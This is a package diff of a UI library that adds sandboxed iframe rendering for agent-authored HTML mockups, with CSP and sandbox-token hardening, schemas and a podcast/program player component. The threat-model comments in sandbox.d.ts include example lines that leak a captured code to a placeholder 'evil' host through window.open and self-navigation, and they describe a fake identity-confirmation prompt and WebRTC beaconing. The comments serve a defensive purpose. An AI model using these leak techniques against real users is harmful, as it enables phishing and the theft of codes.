@joewinke/jatui 0.37.0 → 0.38.1

package/dist/artifact-blocks/blocks/mockup/sandbox.d.ts

@@ -0,0 +1,98 @@
+/**
+ * The mockup frame's `sandbox` attribute and the CSP its scripted document
+ * carries (origin: MOS src/lib/modules/artifacts/sandbox.ts
+ * artifactSandboxAttr, bad16b324; scripted hardening ported from jat
+ * ide/src/lib/server/artifacts/sandboxPolicy.ts, jat-4yffn).
+ *
+ * Each variant is agent-authored HTML in an iframe `srcdoc`. The sandbox puts
+ * it in an OPAQUE origin: no session, no cookies, no parent DOM. That only
+ * holds while `allow-same-origin` is absent — srcdoc with scripts +
+ * same-origin is the one combination that defeats it — so this module never
+ * emits it, and strips it from a host override too. Top navigation is never
+ * granted either: a mockup may not replace the page it sits in.
+ *
+ * ## Script-free mockups (unchanged)
+ *
+ * `allow-popups` + `allow-popups-to-escape-sandbox`: a link in a mockup that
+ * opens a new tab lands on a normal page, not a sandboxed one. A host may
+ * widen or narrow that list with `services.sandboxAttr` (a string, or a
+ * function of allowScripts); the never-tokens and `allow-scripts` are removed
+ * from whatever it returns.
+ *
+ * ## Scripted mockups (`allowScripts: true`) — jat-4yffn
+ *
+ * The opaque origin keeps agent JavaScript away from the session, but not
+ * away from the HUMAN looking at it: a script can draw a fake "confirm it's
+ * you" box, capture a typed code, and get it out. So a scripted frame is
+ * `sandbox="allow-scripts"` and nothing else, and its document carries
+ * MOCKUP_SCRIPTED_CSP (see ./doc.ts):
+ *
+ *   - no popups at all — `window.open('https://evil/?c=CODE')` leaks the code
+ *     in the URL whether or not the popup escapes the sandbox. Links that
+ *     open a new tab therefore do not open; that is the trade.
+ *   - `img-src data:` / `media-src data:` — an image or media fetch is a
+ *     beacon `connect-src 'none'` does not cover.
+ *   - `x-dns-prefetch-control: off` — a prefetched hostname is a DNS beacon
+ *     outside every fetch directive.
+ *
+ * A host may NARROW a scripted frame with `services.sandboxAttr` (returning
+ * "" turns scripts off) but never widen it: only `allow-scripts` survives.
+ * MockupBlock draws a "runs scripts" notice in the parent page, outside the
+ * frame, so the label is chrome the script cannot reach.
+ *
+ * ## What the host must assert, and what nobody can close
+ *
+ * - Self-navigation (jatui-2qhbr): a sandboxed document may always navigate
+ *   its OWN frame (`location = 'https://evil/?c=CODE'`, or a meta refresh),
+ *   and nothing in its CSP can stop that. Only the PARENT's CSP can: an
+ *   ENFORCED `frame-src 'self'` (or narrower) on the host page — the browser
+ *   checks it on every navigation of the child frame, while the initial
+ *   srcdoc load is not subject to it. Two near-misses both leak (verified in
+ *   Chromium against mos): `frame-src 'self' https:` (any https URL is a
+ *   valid target) and a Report-Only policy (reports, never blocks). jatui
+ *   cannot read the parent's response headers, so this is a CHECKED
+ *   precondition instead of advice: the host asserts it with
+ *   `services.framePolicy = { frameSrcSelfEnforced: true }`, and a scripted
+ *   mockup runs scripts ONLY under that assertion (mockupScriptsAllowed).
+ *   Without it the mockup degrades to script-free and MockupBlock says so.
+ * - WebRTC: an RTCPeerConnection to an attacker's STUN/TURN server gets
+ *   packets out, and no shipped CSP directive governs it. That is why the
+ *   notice exists and why a real credential prompt belongs to the host page,
+ *   never inside a frame.
+ *
+ * - Script-free mockups are NOT beacon-free, by design: they load remote
+ *   images and may open (sandbox-escaping) popups, so an author can learn
+ *   that, and roughly when, a mockup was viewed. They cannot capture input
+ *   (no scripts), so nothing typed into them leaves the frame.
+ *
+ * jat's raw-route gate (Sec-Fetch-Dest/Site) has no counterpart here: a
+ * srcdoc frame has no URL that could be opened full-window without the
+ * notice.
+ */
+export type SandboxAttrService = string | ((allowScripts: boolean) => string);
+/**
+ * The host's assertion about its OWN page CSP (`services.framePolicy`,
+ * jatui-2qhbr). `frameSrcSelfEnforced: true` claims the page that renders
+ * blocks is served with an ENFORCED (not Report-Only) `frame-src 'self'` —
+ * or narrower — and no `https:`/`*` source in it. Assert it only when that
+ * header is really sent on every route that renders artifact blocks.
+ */
+export interface FramePolicyService {
+    frameSrcSelfEnforced?: boolean;
+}
+/**
+ * Whether a mockup that ASKED for scripts may run them: only when the host
+ * asserted an enforced `frame-src 'self'` (strictly `true` — a truthy string
+ * or a missing service is no assertion). Otherwise it degrades to
+ * script-free, which closes self-navigation (no script, and a sandbox without
+ * allow-scripts blocks meta refresh) at the cost of interactivity.
+ */
+export declare function mockupScriptsAllowed(requested: boolean, framePolicy?: unknown): boolean;
+/**
+ * The CSP a scripted mockup document carries (as a `<meta http-equiv>`,
+ * see ./doc.ts). Mirrors jat's scripted artifactCsp minus the directives a
+ * meta policy cannot express (sandbox, frame-ancestors) — the iframe's
+ * sandbox attribute covers the former.
+ */
+export declare const MOCKUP_SCRIPTED_CSP: string;
+export declare function mockupSandboxAttr(allowScripts: boolean, override?: unknown): string;

package/dist/artifact-blocks/blocks/mockup/sandbox.js

@@ -0,0 +1,63 @@
+/**
+ * Whether a mockup that ASKED for scripts may run them: only when the host
+ * asserted an enforced `frame-src 'self'` (strictly `true` — a truthy string
+ * or a missing service is no assertion). Otherwise it degrades to
+ * script-free, which closes self-navigation (no script, and a sandbox without
+ * allow-scripts blocks meta refresh) at the cost of interactivity.
+ */
+export function mockupScriptsAllowed(requested, framePolicy) {
+    return (requested === true &&
+        typeof framePolicy === "object" &&
+        framePolicy !== null &&
+        framePolicy.frameSrcSelfEnforced === true);
+}
+/** Tokens no mockup frame may ever carry, in either mode. */
+const NEVER = new Set([
+    "allow-same-origin",
+    "allow-top-navigation",
+    "allow-top-navigation-by-user-activation",
+]);
+/** The only token a scripted frame may carry; a host override is intersected with it. */
+const SCRIPTED_ALLOWED = new Set(["allow-scripts"]);
+/**
+ * The CSP a scripted mockup document carries (as a `<meta http-equiv>`,
+ * see ./doc.ts). Mirrors jat's scripted artifactCsp minus the directives a
+ * meta policy cannot express (sandbox, frame-ancestors) — the iframe's
+ * sandbox attribute covers the former.
+ */
+export const MOCKUP_SCRIPTED_CSP = [
+    "default-src 'none'",
+    "script-src 'unsafe-inline' 'unsafe-eval'",
+    "style-src 'unsafe-inline' https://fonts.googleapis.com",
+    "font-src data: https://fonts.gstatic.com",
+    "img-src data:",
+    "media-src data:",
+    "connect-src 'none'",
+    "form-action 'none'",
+    "base-uri 'none'",
+].join("; ");
+export function mockupSandboxAttr(allowScripts, override) {
+    let raw;
+    if (typeof override === "function") {
+        const v = override(allowScripts);
+        raw = typeof v === "string" ? v : defaultTokens(allowScripts);
+    }
+    else if (typeof override === "string") {
+        raw = override;
+    }
+    else {
+        raw = defaultTokens(allowScripts);
+    }
+    const tokens = raw
+        .split(/\s+/)
+        .map((t) => t.trim().toLowerCase())
+        .filter(Boolean)
+        .filter((t) => !NEVER.has(t))
+        .filter((t) => allowScripts ? SCRIPTED_ALLOWED.has(t) : t !== "allow-scripts");
+    return [...new Set(tokens)].join(" ");
+}
+function defaultTokens(allowScripts) {
+    return allowScripts
+        ? "allow-scripts"
+        : "allow-popups allow-popups-to-escape-sandbox";
+}

package/dist/artifact-blocks/blocks/mockup/schema.d.ts

@@ -0,0 +1,7 @@
+/**
+ * Params schema for the mockup block (agent HTML in sandboxed device frames).
+ * Imported by block.ts (def) and the tests — keeps them cycle-free.
+ */
+import { z } from "zod";
+import type { MockupParams } from "./types.js";
+export declare const mockupSchema: z.ZodType<MockupParams>;

package/dist/artifact-blocks/blocks/mockup/schema.js

@@ -0,0 +1,90 @@
+/**
+ * Params schema for the mockup block (agent HTML in sandboxed device frames).
+ * Imported by block.ts (def) and the tests — keeps them cycle-free.
+ */
+import { z } from "zod";
+/**
+ * Block-level `device` is author shorthand (mos-659rz): `device: "desktop"`
+ * on the params means "every variant that does not name its own device
+ * renders as desktop". It is not a MockupParams field, so zod would
+ * otherwise silently strip it — the Pilot's shorthand passed validation while
+ * the device intent never reached the renderer. Inherit it into device-less
+ * variants BEFORE parsing (so the variant default never preempts it), copy
+ * the objects (never mutate the caller's input — publish stores the spec
+ * verbatim), and drop the block-level key. A variant's own device wins; a
+ * non-enum shorthand value falls through to the variant enum and is
+ * rejected loudly, like any other bad device.
+ */
+function inheritBlockDevice(raw) {
+    if (typeof raw !== "object" || raw === null)
+        return raw;
+    const params = { ...raw };
+    const shorthand = params.device;
+    if (typeof shorthand !== "string" || !Array.isArray(params.variants))
+        return params;
+    delete params.device;
+    params.variants = params.variants.map((v) => typeof v === "object" &&
+        v !== null &&
+        v.device === undefined
+        ? { ...v, device: shorthand }
+        : v);
+    return params;
+}
+const ID_RE = /^[a-z0-9][a-z0-9_-]{0,63}$/;
+const idSchema = z
+    .string()
+    .regex(ID_RE, "id must be lowercase a-z0-9_- (max 64, leading a-z0-9)");
+/** Per-variant HTML cap — a device-frame mockup is chrome + layout, not data. */
+const MAX_VARIANT_HTML_BYTES = 48 * 1024;
+/** Whole-block HTML budget — the contract's ~256KB-per-block params cap. */
+const MAX_TOTAL_HTML_BYTES = 256 * 1024;
+const MAX_VARIANTS = 6;
+function utf8Bytes(s) {
+    return new TextEncoder().encode(s).length;
+}
+const variantSchema = z.object({
+    id: idSchema,
+    label: z.string().max(80).optional(),
+    device: z.enum(["phone", "tablet", "desktop"]).default("phone"),
+    html: z
+        .string()
+        .min(1, "html is required")
+        .refine((h) => utf8Bytes(h) <= MAX_VARIANT_HTML_BYTES, `html exceeds ${Math.round(MAX_VARIANT_HTML_BYTES / 1024)}KB per variant`),
+});
+const mockupSchemaBase = z
+    .object({
+    title: z.string().max(200).optional(),
+    intro: z.string().max(2000).optional(),
+    /** Allow scripts inside the sandboxed frame. Default false. */
+    allowScripts: z.boolean().default(false),
+    variants: z
+        .array(variantSchema)
+        .min(1, "at least one variant")
+        .max(MAX_VARIANTS),
+})
+    .check((ctx) => {
+    const value = ctx.value;
+    const ids = new Set();
+    let total = 0;
+    value.variants.forEach((v, i) => {
+        if (ids.has(v.id)) {
+            ctx.issues.push({
+                code: "custom",
+                input: v,
+                path: ["variants", i, "id"],
+                message: `duplicate variant id "${v.id}"`,
+            });
+        }
+        ids.add(v.id);
+        total += utf8Bytes(v.html);
+        if (total > MAX_TOTAL_HTML_BYTES) {
+            ctx.issues.push({
+                code: "custom",
+                input: v,
+                path: ["variants", i, "html"],
+                message: `html exceeds the ${Math.round(MAX_TOTAL_HTML_BYTES / 1024)}KB whole-block budget`,
+            });
+        }
+    });
+});
+export const mockupSchema = z.preprocess(inheritBlockDevice, mockupSchemaBase);

package/dist/artifact-blocks/blocks/mockup/types.d.ts

@@ -0,0 +1,36 @@
+/**
+ * mockup param types (mos-vzame) — the hand-written mirror of the zod schema
+ * in block.ts. The def annotates `schema: z.ZodType<MockupParams>`, so drift
+ * between schema and these interfaces is a compile error, and the Svelte
+ * component imports types WITHOUT importing the def module (block.ts imports
+ * the component; the edge must stay one-way).
+ */
+/** Display widths, device-pixel viewports, and the largest on-screen frame. */
+export type MockupDims = {
+    w: number;
+    h: number;
+    maxFrameW: number;
+};
+export type MockupDevice = "phone" | "tablet" | "desktop";
+/**
+ * Device-pixel viewport each frame renders. The frame scales the iframe down
+ * to its on-screen width (see MockupBlock.svelte), so the layout INSIDE the
+ * frame is laid out at the real device width, not the column width.
+ */
+export declare const MOCKUP_DIMS: Record<MockupDevice, MockupDims>;
+export type MockupVariant = {
+    id: string;
+    label?: string | undefined;
+    /** Which device frame this variant renders in. Default "phone". */
+    device: MockupDevice;
+    /** HTML fragment or full document, rendered verbatim in the sandbox. */
+    html: string;
+};
+export type MockupParams = {
+    title?: string | undefined;
+    intro?: string | undefined;
+    /** Allow scripts inside the sandboxed frame. Default false. */
+    allowScripts?: boolean | undefined;
+    /** One or more mockups, rendered side by side. */
+    variants: MockupVariant[];
+};

package/dist/artifact-blocks/blocks/mockup/types.js

@@ -0,0 +1,17 @@
+/**
+ * mockup param types (mos-vzame) — the hand-written mirror of the zod schema
+ * in block.ts. The def annotates `schema: z.ZodType<MockupParams>`, so drift
+ * between schema and these interfaces is a compile error, and the Svelte
+ * component imports types WITHOUT importing the def module (block.ts imports
+ * the component; the edge must stay one-way).
+ */
+/**
+ * Device-pixel viewport each frame renders. The frame scales the iframe down
+ * to its on-screen width (see MockupBlock.svelte), so the layout INSIDE the
+ * frame is laid out at the real device width, not the column width.
+ */
+export const MOCKUP_DIMS = {
+    phone: { w: 390, h: 844, maxFrameW: 320 },
+    tablet: { w: 834, h: 1112, maxFrameW: 460 },
+    desktop: { w: 1440, h: 900, maxFrameW: 760 },
+};

package/dist/artifact-blocks/blocks/program/ProgramBlock.svelte

@@ -0,0 +1,359 @@
+<script lang="ts">
+  /**
+   * ProgramBlock — the daily newspaper/podcast surface: a brief (audio or
+   * video) whose chapter rail plays live on the right while the active
+   * chapter's visual renders between the player and the transcript.
+   *
+   * The player owns the hard parts (jatui VideoPlayer ≥0.32): the timeline
+   * band with chapter flags, the click-to-seek transcript, and the opt-in
+   * `chapterRail: 'side'` pane — active row tracking the playhead, progress
+   * fill, played checks, replay affordance, listNav keys. This block adds
+   * only what the page knows:
+   *
+   *   - the visual panel in the player's `belowStage` slot: the shown
+   *     chapter's nested block instance (any registered type) + its detail
+   *     markdown, swapped with a keyed fade (reduced-motion safe);
+   *   - FOLLOW mode (default on) tracks the active chapter as audio plays;
+   *     the panel header says "Now playing". Clicking a rail row pins that
+   *     chapter, and a "Back to now playing" button returns to auto;
+   *   - ONE timeline: `transport="band"` puts play/pause, time, speed and
+   *     volume on the band (no native control bar), and audio renders no
+   *     stage at all (`kind="audio"`, jatui ≥0.33);
+   *   - nested interactive state (a decision/checklist/picker visual's
+   *     picks) persists through THIS block's ctx.saveState under a
+   *     `visuals` map keyed by the nested block id, and seeds the nested
+   *     BlockRenderer on load;
+   *   - deep links: `?t=` via the player's syncUrlTime; `#chapter-<id>`
+   *     seeks through the player's seekToTime() and shows the chapter.
+   *
+   * Every string renders as text or through the shared sanitized markdown
+   * renderer; media is by URL (https:// or root-relative, validated by
+   * urlSchema).
+   */
+  import { onDestroy, onMount } from "svelte"
+  import VideoPlayer, { type VideoChapter } from "../../../components/VideoPlayer.svelte"
+  import BlockRenderer from "../../BlockRenderer.svelte"
+  import type { BlockProps, BlockState } from "../../types.js"
+  import {
+    chapterAt,
+    programSchema,
+    STATUS_DOT,
+    STATUS_LABEL,
+    toVideoChapters,
+    toVideoSegments,
+    type ProgramParams,
+  } from "./schema.js"
+  import { renderBlockMarkdown } from "../markdown/render.js"
+  import { formatClock } from "../transcript/schema.js"
+
+  /** SSR vs browser, without a SvelteKit import (jatui is host-agnostic). */
+  const browser = typeof window !== "undefined"
+
+  let { params: rawParams, ctx }: BlockProps<ProgramParams> = $props()
+
+  /** Parsed params (defaults filled); corrupt params → empty state. The host
+   * validates at publish, so this is belt-and-braces for direct mounts. */
+  const EMPTY_PARAMS: ProgramParams = {
+    media: { src: "https://example.invalid/none.mp3", type: "audio" },
+    segments: [],
+    chapters: [],
+  }
+  const parsed = $derived(programSchema.safeParse(rawParams))
+  const params = $derived(parsed.success ? parsed.data : EMPTY_PARAMS)
+
+  const playable = $derived(
+    params.segments.length > 0 && params.chapters.length > 0,
+  )
+  /** Audio renders NO stage (there is no picture): the player is the band
+   * plus its transport row. Video keeps its stage at its intrinsic ratio. */
+  const kind = $derived<"audio" | "video">(
+    params.media.type === "video" ? "video" : "audio",
+  )
+  const vSegments = $derived(toVideoSegments(params.segments))
+  const vChapters = $derived(toVideoChapters(params.chapters, params.segments))
+  /** Rail-row index → chapter: the player reports the SORTED index. */
+  const sortedChapters = $derived(
+    params.chapters.slice().sort((a, b) => a.start - b.start),
+  )
+  const hasSrc = $derived(params.media.src !== "" && playable)
+  const firstChapter = $derived(sortedChapters[0] ?? null)
+
+  const resumeKey = $derived(`artifact:${ctx.artifactId}:${ctx.blockId}`)
+
+  // ── follow / pin ─────────────────────────────────────────────────────
+  let follow = $state(true)
+  let pinnedId = $state<string | null>(null)
+  let currentTime = $state(0)
+  /** The player instance — bandState/seekToTime exports live here. */
+  let player: ReturnType<typeof VideoPlayer> | null = $state(null)
+
+  const activeChapter = $derived(chapterAt(params.chapters, currentTime))
+  /** The chapter the panel shows: the active one while following, else the pin. */
+  const shownChapter = $derived(
+    follow || !pinnedId
+      ? activeChapter
+      : (params.chapters.find((c) => c.id === pinnedId) ?? activeChapter),
+  )
+  const shownId = $derived(shownChapter?.id ?? null)
+
+  /** Rail row click: pin the picked chapter (the rail itself keeps
+   * time-tracking — the pin only affects the visual panel). */
+  function selectChapter(_ch: VideoChapter, index: number) {
+    const c = sortedChapters[index]
+    if (!c) return
+    pinnedId = c.id
+    follow = false
+  }
+
+  function toggleFollow() {
+    if (follow) {
+      // Turning follow off pins what is on screen right now.
+      pinnedId = activeChapter?.id ?? pinnedId
+      follow = false
+    } else {
+      follow = true
+      pinnedId = null
+    }
+  }
+
+  // ── deep links (?t= rides the player's syncUrlTime) ─────────────────
+  function chapterFromHash(): string | null {
+    if (!location.hash.startsWith("#chapter-")) return null
+    return decodeURIComponent(location.hash.slice("#chapter-".length)) || null
+  }
+
+  function seekToChapterId(id: string | null): boolean {
+    if (!id) return false
+    const ch = params.chapters.find((c) => c.id === id)
+    if (!ch) return false
+    currentTime = ch.start
+    player?.seekToTime?.(ch.start)
+    return true
+  }
+
+  function onHashChange() {
+    seekToChapterId(chapterFromHash())
+  }
+
+  onMount(() => {
+    if (!browser) return
+    const hashId = chapterFromHash()
+    if (hashId) {
+      seekToChapterId(hashId)
+    } else {
+      const t = new URL(location.href).searchParams.get("t")
+      if (t != null && t !== "") {
+        const sec = Number(t)
+        if (Number.isFinite(sec) && sec >= 0) currentTime = sec
+      }
+    }
+    window.addEventListener("hashchange", onHashChange)
+  })
+  onDestroy(() => {
+    if (browser) window.removeEventListener("hashchange", onHashChange)
+  })
+
+  // ── nested visual state (picks persist through THIS block's state) ──
+  interface ProgramState extends BlockState {
+    visuals?: Record<string, BlockState>
+  }
+  let visualState = $state<Record<string, BlockState>>({})
+  // Seed once from the viewer's saved state (only when there is any). The
+  // outer renderer's state arrives as a $state proxy — snapshot before the
+  // structuredClone.
+  let seeded = false
+  $effect(() => {
+    if (seeded) return
+    const saved = (ctx.state as ProgramState | null)?.visuals
+    if (saved && typeof saved === "object") {
+      visualState = structuredClone($state.snapshot(saved))
+      seeded = true
+    }
+  })
+
+  /** The nested BlockRenderer's save hook: merge into this block's state. */
+  async function saveVisualState(payload: {
+    kind: "blocks"
+    blocks: Record<string, unknown>
+  }) {
+    visualState = { ...visualState, ...payload.blocks }
+    // Snapshot before handing it up: a $state proxy must never cross the
+    // renderer boundary (the DataCloneError class of bug — mos-yntqm); the
+    // outer renderer stores $state.snapshot of what it receives.
+    const next: ProgramState = { visuals: $state.snapshot(visualState) }
+    await ctx.saveState?.(next)
+  }
+
+  const nestedId = $derived(shownId ? `visual-${shownId}` : null)
+  const nestedSpec = $derived.by(() => {
+    const v = shownChapter?.visual
+    if (!v || !nestedId) return null
+    return {
+      version: 1 as const,
+      title: "",
+      blocks: [{ id: nestedId, type: v.type, params: v.params }],
+    }
+  })
+
+  /** Nested state flows through only when this surface can save at all. */
+  const nestedCanSave = $derived(!ctx.readonly && ctx.saveState != null)
+
+  const detailHtml = $derived(
+    shownChapter?.detail ? renderBlockMarkdown(shownChapter.detail) : null,
+  )
+</script>
+
+<section class="artifact-program w-full">
+  {#if params.title || params.note}
+    <header class="mb-3">
+      {#if params.title}
+        <h2 class="text-base font-semibold text-base-content">
+          {params.title}
+        </h2>
+      {/if}
+      {#if params.note}
+        <p class="mt-1 max-w-prose text-sm text-base-content/70">
+          {params.note}
+        </p>
+      {/if}
+    </header>
+  {/if}
+
+  {#if hasSrc}
+    <VideoPlayer
+      bind:this={player}
+      src={params.media.src}
+      {kind}
+      transport="band"
+      poster={params.media.poster || null}
+      aspect={null}
+      transcript={vSegments}
+      chapters={vChapters}
+      transcriptPosition="below"
+      transcriptMaxHeight="24rem"
+      chapterRail="side"
+      onChapterSelect={selectChapter}
+      onTimeUpdate={(v) => (currentTime = v.currentTime)}
+      syncUrlTime
+      {resumeKey}
+      belowStage={panel}
+    />
+
+    {#snippet panel()}
+      {#if shownChapter}
+        <div
+          class="program-panel rounded-box border border-base-content/10 bg-base-100"
+          role="region"
+          aria-label="Chapter: {shownChapter.title}"
+        >
+          <header
+            class="flex flex-wrap items-center gap-x-2 gap-y-1 px-4 pt-3 pb-2"
+          >
+            {#if shownChapter.status}
+              <span
+                class="size-2 shrink-0 rounded-full {STATUS_DOT[
+                  shownChapter.status
+                ]}"
+                aria-hidden="true"
+              ></span>
+              <span class="sr-only">{STATUS_LABEL[shownChapter.status]}:</span>
+            {/if}
+            <span class="text-xs tabular-nums text-base-content/60">
+              {formatClock(shownChapter.start)}
+            </span>
+            <h3 class="min-w-0 flex-1 text-sm font-semibold text-base-content">
+              {shownChapter.title}
+            </h3>
+            {#if follow}
+              <span
+                class="program-follow flex items-center gap-1.5 text-xs text-base-content/60"
+              >
+                <span
+                  class="program-live size-1.5 rounded-full bg-primary"
+                  aria-hidden="true"
+                ></span>
+                Now playing
+              </span>
+            {:else}
+              <button
+                type="button"
+                class="program-follow btn btn-ghost btn-xs rounded-field text-primary"
+                onclick={toggleFollow}
+              >
+                Back to now playing
+              </button>
+            {/if}
+          </header>
+          {#if shownId}
+            {#key shownId}
+              <div class="program-panel-body px-4 pb-4">
+                {#if detailHtml}
+                  <!-- Sanitized by renderBlockMarkdown — the contract's one {@html} path. -->
+                  <div
+                    class="program-detail prose prose-sm max-w-prose text-base-content/80"
+                  >
+                    {@html detailHtml}
+                  </div>
+                {:else if !nestedSpec && shownChapter.summary}
+                  <p class="max-w-prose text-sm text-base-content/70">
+                    {shownChapter.summary}
+                  </p>
+                {/if}
+                {#if nestedSpec}
+                  <div class={detailHtml ? "mt-3" : ""}>
+                    <BlockRenderer
+                      spec={nestedSpec}
+                      artifactId={ctx.artifactId}
+                      version={ctx.version}
+                      savedBlocks={$state.snapshot(visualState)}
+                      onSaveBlock={nestedCanSave ? saveVisualState : undefined}
+                      readonly={ctx.readonly}
+                      data={ctx.data}
+                    />
+                  </div>
+                {/if}
+              </div>
+            {/key}
+          {/if}
+        </div>
+      {:else if firstChapter}
+        <p class="px-1 text-sm text-base-content/60">
+          The first chapter, {firstChapter.title}, starts at {formatClock(
+            firstChapter.start,
+          )}.
+        </p>
+      {/if}
+    {/snippet}
+  {:else if !playable}
+    <p class="text-sm text-base-content/60">
+      No chapters published for this program block.
+    </p>
+  {/if}
+</section>
+
+<style>
+  /* The keyed panel swap: a short opacity/lift-in. Every state also reads
+	   statically (content is simply there), so reduced motion drops the move
+	   and keeps the meaning. */
+  .program-panel-body {
+    animation: program-panel-in var(--motion-fast, 150ms)
+      var(--motion-glide, ease-out);
+  }
+
+  @keyframes program-panel-in {
+    from {
+      opacity: 0;
+      transform: translateY(3px);
+    }
+    to {
+      opacity: 1;
+      transform: none;
+    }
+  }
+
+  @media (prefers-reduced-motion: reduce) {
+    .program-panel-body {
+      animation: none;
+    }
+  }
+</style>